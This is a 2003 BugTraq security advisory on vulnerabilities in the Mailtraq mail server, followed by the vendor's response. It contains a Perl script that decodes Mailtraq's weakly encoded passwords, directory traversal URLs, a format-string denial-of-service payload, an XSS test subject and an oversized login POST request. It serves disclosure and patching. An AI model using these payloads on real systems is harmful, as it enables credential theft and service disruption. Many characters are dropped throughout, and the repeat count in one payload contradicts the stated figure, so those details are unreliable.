Message-ID: <048e01c33437$f7d01240$3501a8c0@noamlp>
Date: Mon, 16 Jun 2003 20:49:07 +0200
From: "SecurITeam BugTraq Monitoring" <bugtraq@...uriteam.com>
To: <bugtraq@...urityfocus.com>
Subject: Multiple Vulnerabilities Found in Mailtraq (DoS, Password Decryption, Directory Traversal)


The original advisory is available from:
http://www.securiteam.com/windowsntfocus/5HP0G1FAAC.html

Summary:
---------
Mailtraq is a "comprehensive e-mail SMTP/POP3 and proxy server, with a powerful
mailing list server". The product suffered from multiple vulnerabilities that
range from access to files that reside outside the bounding HTML root directory
(through dying access to the server by causing the server to utilize a high CPU
percentage) through decryption of locally stored password,to a cross site
scripting vulnerability in the web mail interface.

Details:
Vulnerable version:
 * Mailtraq version 2.1.0.1302

Immune version:
 * Mailtraq version 2.3.2.1419

Technical details:
----------------
1) HTTP Server directory traversal
By accessing a URL as simple as:
http://127.0.0.1/win2k/
Or,
http://127.0.0.1/Program%20Files/

It is possible to access directories that would be otherwise inaccessible. Some
of the directories contain sensiti information, but what is more interesting in
this problem is the fact that the Mailtraq product keeps the password encrypted
i rivial form, which can be easily decrypted using the following perl script:
#!/usr/bin/perl

$Password = $ARGV[0];

print "Passwords should be something like: \\3D66656463626160\n";
print "Provided password: $Password\n";

$Password = substr($Password, 3);
$Length = length($Password)/2;

print "Length: $Length\n";

for ($i = 0; $i < $Length; $i++)
{
 print "Decoding: ", substr($Password, $i*2, 2), " = ";
 $ord = hex(substr($Password, $i*2, 2));

 print $ord^$Length, " (", chr($ord^$Length), ")\n";
}

Note that it is possible to "decrypt" any password that is stored under the
C:\Program Files\Mailtraq\database\conuration directory or under the users
directory, both of which are accessible via the directory traversal
vulnerability.

2) SMTP MAIL FROM, RCPT TO, HELO, FROM 100% CPU consumption (when viewing Event
Log)
By sending a repeated a string such as @@%s%p%n, or without the @@ along with
any of the SMTP commands, MAIL FROM,PT TO, HELO, email's FROM head field, will
cause server's CPU usage to spike between 1 second to 5 seconds. Sending a
simple ovrlow doesn't have the same effect. The number of repeated %s%p%n
required in order to cause the DoS, is 65535 and above ("%s%p%"x5535 - perl
style).

3) Cross Site Scripting in WebMail
Sending a specially crafted email to a user can be used to steal his current
session allowing an attacker to log oas the user. Sending such an email to the
postmaster user will usually allow stealing of the administrator session. The
vulneraiity occurs because the product does not correctly filter HTML/JavaScript
code from the subject field when it is viewed in the is (the email viewing
itself is not vulnerable).

Example:
Sending an email with the following subject should illustrate the issue:
< script>alert(document.location)</script>

4) Logon CGI vulnerable to 100% CPU consumption
By sending an overly long username and password (any of them, or both) the CPU
usage by the product will spike to %, the amount of time it spikes depends on
the size of the buffer being sent (100,000 characters cause about 3-4 seconds
stall) description48=

POST /$/menu HTTP/1.1
Host:
User-Agent: Mozilla/1.0(compatible;)
Pragma: no-cache
Content-Length: ...depending on size...
Connection: close
Content-Type: application/x-www-form-urlencoded
user=<More than 100,000 A>&password=<More than 100,000 A>

Solution:
We recommend that all users upgrade to the most recent build of Mailtraq to
ensure that they are up to date with t latest developments.

The latest build of Mailtraq Version 2.3.2.1419 includes the patches addressing
these issues which are detailed abe.

Mailtraq Version 2.3.2.1419 is immediately available for download as a public
beta release pending complete QA tesng, and then will be upgraded to full
release status.

Vendor response:
-----------------
1) HTTP Server directory traversal

Mailtraq is not vulnerable to this problem if it is installed with the default
configuration on a standard "box". u can only access paths exposed by the web
server.

2) Password Encryption
With respect to password encoding: weak password encryption was chosen as the
objective is simply to obscure the iormation from the casual reader.

It is worth noting that by default .cfg files are excluded in the new Web
Server.

3) SMTP MAIL FROM, RCPT TO, HELO, FROM 100% CPU consumption (when viewing Event
Log)
We have investigated this issue and added constraints to the SMTP server.

4) Logon CGI vulnerable to 100% CPU consumption
These "vulnerabilities" only appear to exist when using the Event Log Viewer
diagnostic-tool, not when Mailtraq isunning in its normal configuration. However
we have addressed the potential for high CPU consumption by capping the size
form ecded POST data.

Under normal running conditions the neither the Mailtraq Console or the event
log viewer are open, so the "vulnerality" relies upon specific administrator
activity.

5) Cross Site Scripting in WebMail
The example that you gave referred to the old and deprecated WebMail service. We
recognise that this is a potentiay significant issue and are grateful for your
bringing it to our attention. It has been addressed in build 1419 which was
releae earlier today.

Mailtraq has replaced the entire WebMail system with a new one since the tested
build. The new WebMail system was t susceptible to the problem you described,
but CSS could be invoked in another manner. This has now been addressed.

It is important to note that the AUTHKEY cookie (allowing re-authentication
after session expiry) is keyed to the ient IP address. As of today's build, the
same applies to the SESSIONKEY. Thus, even if a new CSS vulnerability were to
arise, ouseful information could be extracted from the browser.

The browse.asp* vulnerability which allows the attacker to determine the path of
the installed web site has been aressed by limiting this debug information to
the LAN specification.

We again thank you for bringing these items to our attention, and would be
pleased to hear from you to discuss theatter further.

Best wishes,
David Rose

Additional information:
----------------------
The information has been provided by Noam Rathaus of SecurITeam.

Thanks
Noam Rathaus
CTO
Beyond Security Ltd
http://www.SecurITeam.com
http://www.BeyondSecurity.com

Powered by blists - more mailing lists